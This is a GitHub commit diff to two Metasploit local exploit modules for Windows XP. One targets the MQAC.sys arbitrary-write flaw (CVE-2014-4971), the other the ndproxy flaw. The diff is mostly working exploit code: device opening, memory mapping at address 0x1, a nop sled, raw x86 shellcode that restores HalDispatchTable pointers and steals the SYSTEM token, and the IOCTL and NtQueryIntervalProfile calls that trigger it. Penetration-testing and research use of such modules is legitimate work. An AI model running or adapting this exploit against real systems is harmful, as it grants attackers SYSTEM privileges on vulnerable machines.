Skip to content

Commit 9cd6353

Browse files
committed
Update mqac_write to use the mixin and restore pointers
1 parent a523898 commit 9cd6353

File tree

2 files changed

+29
-82
lines changed

2 files changed

+29
-82
lines changed

modules/exploits/windows/local/mqac_write.rb

Lines changed: 25 additions & 78 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,16 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/local/windows_kernel'
78
require 'rex'
89

910
class Metasploit3 < Msf::Exploit::Local
1011
Rank = AverageRanking
1112

13+
include Msf::Exploit::Local::WindowsKernel
1214
include Msf::Post::Windows::Priv
1315
include Msf::Post::Windows::Process
1416

15-
INVALID_HANDLE_VALUE = 0xFFFFFFFF
16-
1717
def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
@@ -41,6 +41,7 @@ def initialize(info = {})
4141
[
4242
['Windows XP SP3',
4343
{
44+
'HaliQuerySystemInfo' => 0x16bba,
4445
'_KPROCESS' => "\x44",
4546
'_TOKEN' => "\xc8",
4647
'_UPID' => "\x84",
@@ -52,41 +53,13 @@ def initialize(info = {})
5253
[
5354
%w(CVE 2014-4971),
5455
%w(EDB 34112),
55-
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
56+
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt)
5657
],
5758
'DisclosureDate' => 'Jul 22 2014',
5859
'DefaultTarget' => 0
5960
))
6061
end
6162

62-
def find_sys_base(drvname)
63-
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
64-
lp_image_base = %w(PBLOB lpImageBase out)
65-
cb = %w(DWORD cb in)
66-
lpcb_needed = %w(PDWORD lpcbNeeded out)
67-
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
68-
[lp_image_base, cb, lpcb_needed])
69-
image_base = %w(LPVOID ImageBase in)
70-
lp_base_name = %w(PBLOB lpBaseName out)
71-
n_size = %w(DWORD nSize in)
72-
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
73-
[image_base, lp_base_name, n_size])
74-
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
75-
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
76-
77-
addresses.each do |address|
78-
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
79-
current_drvname = results['lpBaseName'][0..results['return'] - 1]
80-
if drvname.nil?
81-
if current_drvname.downcase.include?('krnl')
82-
return [address, current_drvname]
83-
end
84-
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
85-
return [address, current_drvname]
86-
end
87-
end
88-
end
89-
9063
# Function borrowed from smart_hashdump
9164
def get_system_proc
9265
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
@@ -106,20 +79,9 @@ def get_system_proc
10679
end
10780
end
10881

109-
def open_device
110-
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
111-
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
112-
handle = handle['return']
113-
if handle == 0
114-
print_error('Failed to open the \\\\.\\MQAC device')
115-
return nil
116-
end
117-
handle
118-
end
119-
12082
def check
121-
handle = open_device
122-
if handle.nil? || handle == INVALID_HANDLE_VALUE
83+
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
84+
if handle.nil?
12385
print_error('MSMQ installation not found')
12486
return Exploit::CheckCode::Safe
12587
end
@@ -155,12 +117,9 @@ def exploit
155117
# results in a BSOD and so we should not let that happen.
156118
return unless check == Exploit::CheckCode::Appears
157119

158-
kernel_info = find_sys_base(nil)
159120
base_addr = 0xffff
160-
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
161-
162-
handle = open_device
163-
return if handle.nil? || handle == INVALID_HANDLE_VALUE
121+
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
122+
return if handle.nil?
164123

165124
this_proc = session.sys.process.open
166125
unless this_proc.memory.writable?(base_addr)
@@ -175,41 +134,29 @@ def exploit
175134
return
176135
end
177136

178-
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
179-
hKernel = hKernel['return']
180-
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
181-
'HalDispatchTable')
182-
halDispatchTable = halDispatchTable['return']
183-
halDispatchTable -= hKernel
184-
halDispatchTable += kernel_info[0]
185-
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
186-
187-
tokenstealing = "\x52" # push edx # Save edx on the stack
188-
tokenstealing << "\x53" # push ebx # Save ebx on the stack
189-
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
190-
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
191-
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
192-
tokenstealing << "\x8b\xc8" # mov ecx, eax
193-
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
194-
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
195-
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
196-
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
197-
tokenstealing << "\x75\xe8" # jne 0000101e ======================
198-
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
199-
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
200-
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
201-
tokenstealing << "\x5b" # pop ebx # Restores ebx
202-
tokenstealing << "\x5a" # pop edx # Restores edx
203-
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
204-
205-
shellcode = make_nops(0x200) + tokenstealing
137+
haldispatchtable = find_haldispatchtable
138+
return if haldispatchtable.nil?
139+
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
140+
141+
vprint_status('Getting the hal.dll base address...')
142+
hal_info = find_sys_base('hal.dll')
143+
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
144+
hal_base = hal_info[0]
145+
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
146+
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
147+
148+
restore_ptrs = "\x31\xc0" # xor eax, eax
149+
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
150+
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
151+
152+
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
206153
this_proc.memory.write(0x1, shellcode)
207154
this_proc.close
208155

209156
print_status('Triggering vulnerable IOCTL')
210157
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
211158
1, 0x258,
212-
halDispatchTable + 0x4, 0)
159+
haldispatchtable + 4, 0)
213160
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
214161

215162
unless is_system?

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -141,19 +141,19 @@ def disclose_addresses(t)
141141
addresses['halDispatchTable'] = hal_dispatch_table
142142
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
143143

144-
vprint_status('Getting the hal.dll Base Address...')
144+
vprint_status('Getting the hal.dll base address...')
145145
hal_info = find_sys_base('hal.dll')
146146
if hal_info.nil?
147-
vprint_error('Failed to disclose hal.dll Base Address')
147+
vprint_error('Failed to disclose hal.dll base address')
148148
return nil
149149
end
150150
hal_base = hal_info[0]
151-
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
151+
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
152152

153153
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
154154
addresses['HaliQuerySystemInfo'] = hali_query_system_information
155155

156-
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
156+
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
157157
addresses
158158
end
159159

0 commit comments

Comments
 (0)